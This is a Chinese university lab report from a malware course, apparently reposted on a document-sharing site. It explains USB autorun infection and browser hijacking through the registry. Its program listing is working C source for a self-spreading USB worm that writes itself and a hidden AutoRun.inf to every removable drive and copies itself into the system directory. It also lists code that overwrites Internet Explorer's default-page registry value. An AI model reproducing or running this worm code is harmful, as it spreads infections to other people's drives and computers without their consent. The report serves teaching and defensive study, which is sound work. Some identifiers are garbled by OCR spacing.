恶意代码实验报告
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
恶意代码实验报告
班级:10网工三班学生姓名:谢昊天学号:1215134046
实验目的和要求:
1、了解恶意代码的实现机理;
2、了解常见恶意代码的编写原理;
3、掌握常见恶意代码运行机制;
实验内容与分析设计:
1.通过Java Script、Applet、ActiveX(三者选一)编辑的脚本程序修改IE浏览器:
(1)默认主页被修改;
(2)IE标题栏被添加非法信息;
2、编写一个脚本病毒,扫描是否存在U盘,如果存在,将自己写到U盘上,同时写一个调用自己的AutoRun.inf文件到U盘。
实验步骤与调试过程:
1.U盘病毒:
(1)U盘病毒是借助windows自动播放的特性,让用户双击盘符时就可以立即激活制定的病毒。
病毒首先将u盘写入病毒程序,然后更改病毒文件。
如果病毒文件指向了病毒程序,那么windows就会运行这个程序引发病毒。
一般病毒还会检测插入的u盘,并对其实行上述操作。
编写一个脚本病毒,扫描是否存在U盘,如果存在,将自己写到U盘上,同时写一个调用自己的AutoRun.inf文件到U盘。
(2)编写好的程序,如果发现U盘就复制自己,如果U盘上呗激活了,就把自己复制到系统文件夹。
(3)编写代码实现如下功能:①.得到盘符类型;②.判断是否是可移动存储设备;③.得到自身文件路径;④.比较是否和U盘的盘符相同;⑤.如果相同说明在U盘上执行,复制到系统中去;⑥.得到系统目录;⑦.把自身文件复制到系统目录;⑧.如果不是则U盘上执行,则感染U盘;⑨.还原U盘上的文件属性;⑩.删除原有文件;○11.写AutoRun.inf到U盘;○12.拷贝自身文件到U盘;○13.把这两个文件设置成系统,隐藏属性;○14.休眠60秒,60检测一次。
2.浏览器恶意代码:
(1).在运行中输入regedit,可以进入注册表。
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft Explorer中有相关配置。
要重新设置浏览器的默认页在Main下的Default_Page_URL中修改即可。
进入注册表,因为IE浏览器大部分配置信息都存储在注册表中;所以针对浏览器的攻击大多是通过修改注册表来实现的。
(2).进入浏览器部分配置在HKEY_CURRENT_USER\ Software\ Microsoft\ Internet Explorer 下,比如浏览器右键的菜单在键值“MenuExt”下;(另外,在
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer也有相关的配置。
)
(3).使用注册表编辑器IE部分设置,进行代码的编写;
(4).进行检查测试;
实验结果:
1.编译执行U盘恶意代码,如果计算机上有U盘或者可移动硬盘,就会自动写入proj7_2文件和AutoRun.inf文件,中毒的u盘换到一个没有中毒的感染的电脑上时,杀毒软件会查出。
2.浏览器恶意代码生成后,即程序执行成功以后,打开浏览器,进入浏览器的Internet 选项对话框,鼠标单击“使用默认页”时,就会出现程序设置的信息;
疑难小结:
通过本次试验,我对恶意代码有了进一步的了解,通过动手实现其设置恶意代码,我掌握了恶意代码工作原理、入侵过程及危害。
从本次实验中我进一步的了解了恶意代码的隐藏功能、加密功能、触发条件、自动启动功能、自主攻击功能、自主攻击和繁殖功能、破坏功能。
通过分析后可以解析出恶意嗲吗的大致结构。
使用的系统调用,采用的技巧,如何将恶意代码的破坏行为转换为恶意代码清除行为,哪些代码可以被用作恶意代码的特征码以及如何防御这种恶意代码。
例如,我们实验室的电脑上就有u盘病毒,每次我的u盘上都会感染,然后再到自己的电脑上给查杀了,这次实验后,使我了解到了u盘病毒的原理,对我以后对病毒的预防和查杀都有很大的帮助。
通过本次试验使我更加深刻的理解了恶意代码的特点。
同时,在实验过程中,回顾书本上的理论知识,巩固了我的知识。
主要算法和程序清单:
U盘恶意代码;
#include "stdafx.h"
bool SaveToFile(char* Path,char* Data){
HANDLE hFile;
hFile=CreateFile(Path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile==INV ALID_HANDLE_VALUE){/*continue; //出错时处理*/}
DWORD dwWrite;
WriteFile(hFile,Data,strlen(Data),&dwWrite,NULL);
CloseHandle(hFile);
return true;
}
BOOL InfectU()
{
while(true)
{
UINT revtype;
char name[256]="H:\\" ;
char szName[256]={0};
char toPath[256]={0};
char infPath[256]={0};
char openU[80]={0};
//遍历所有盘符
for(BYTE i=0x42;i<0x5B;i=i+0x01)
{
name[0]=i;
//得到盘符类型
revtype=GetDriveType(name);
//判断是否是可移动存储设备
if (revtype==DRIVE_REMOV ABLE)
{
//得到自身文件路径
GetModuleFileName(NULL,szName,256);
//比较是否和U盘的盘符相同
//如果相同说明在U盘上执行,复制到系统中去
if(strncmp(name,szName,1)==0)
{
//得到系统目录
GetSystemDirectory(toPath,256);
strcat(toPath,"\\proj7_2.exe");
//把自身文件复制到系统目录
if(CopyFile(szName,toPath,TRUE))
{
//运行程序
WinExec(toPath,0);
}
strcpy(openU,"explorer ");
strcat(openU,name);
//打开U盘
WinExec(openU,1);
return 0;
}//如果不是则U盘上执行,则感染U盘
else
{
strcpy(toPath,name);
strcat(toPath,"\\proj7_2.exe");
strcpy(infPath,name);
strcat(infPath,"\\AutoRun.inf");
//还原U盘上的文件属性
SetFileAttributes(toPath,FILE_A TTRIBUTE_NORMAL);
SetFileAttributes(infPath,FILE_ATTRIBUTE_NORMAL);
//删除原有文件
DeleteFile(toPath);
DeleteFile(infPath);
//写AutoRun.inf到U盘
char* Data;
Data = "[AutoRun]\r\nopen=proj7_2.exe\r\nshell\\open=打开(&O)\r\nshell\\explore=我的资源管理器(&X)\r\nshell\\explore\\Command=proj7_2.exe";
SaveToFile(infPath,Data);
//拷贝自身文件到U盘
CopyFile(szName,toPath,FALSE);
//把这两个文件设置成系统,隐藏属性
SetFileAttributes(toPath,
FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
SetFileAttributes(infPath,
FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
}
}
}
//休眠60秒,60检测一次
Sleep(60000);
}
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
InfectU();
return 0;
}
浏览器恶意代码:
#include <stdio.h>
#include <windows.h>
main()
{
HKEY hKey1;
DWORD dwDisposition;
LONG lRetCode;
//创建
lRetCode = RegCreateKeyEx ( HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Internet Explorer\\Main",
0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE,
NULL, &hKey1, &dwDisposition);
//如果创建失败,显示出错信息if (lRetCode != ERROR_SUCCESS){
printf ("Error in creating key\n");
return (0) ;
}
//设置键值
lRetCode = RegSetValueEx ( hKey1,
"Default_Page_URL",
0,
REG_SZ,
(byte*)"",
100);
//如果创建失败,显示出错信息
if (lRetCode != ERROR_SUCCESS) {
printf ( "Error in setting value\n");
return (0) ;
}
printf("注册表编写成功!\n");
return(0);
}。